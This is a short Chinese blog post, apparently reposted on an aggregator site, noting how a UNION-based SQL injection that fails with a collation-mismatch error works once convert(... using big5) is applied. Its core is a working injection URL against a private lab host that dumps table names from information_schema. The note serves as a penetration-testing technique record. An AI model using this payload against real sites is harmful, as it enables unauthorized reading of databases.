首页 > 数据库技术 > 详细

sql注入记录------类型转换错误---convert()函数

时间:2018-04-23 19:25:25      阅读:228      评论:0      收藏:0      [点我收藏+]

sql注入在联合查询是出现一下错误查不到数据

Illegal mix of collations for operation ‘UNION‘

技术分享图片

用convert() 转换编码为utf8 或者big5 就可以了

http://10.1.2.5:52843/wcms/show.php?id=-33 union all SELECT 1,2,3,4,5,6,7,8,9,10,convert(group_concat(table_name) using big5),12,13,14,15 from information_schema.tables where table_schema=‘cms‘

 

sql注入记录------类型转换错误---convert()函数

原文:https://www.cnblogs.com/hackxf/p/8921046.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!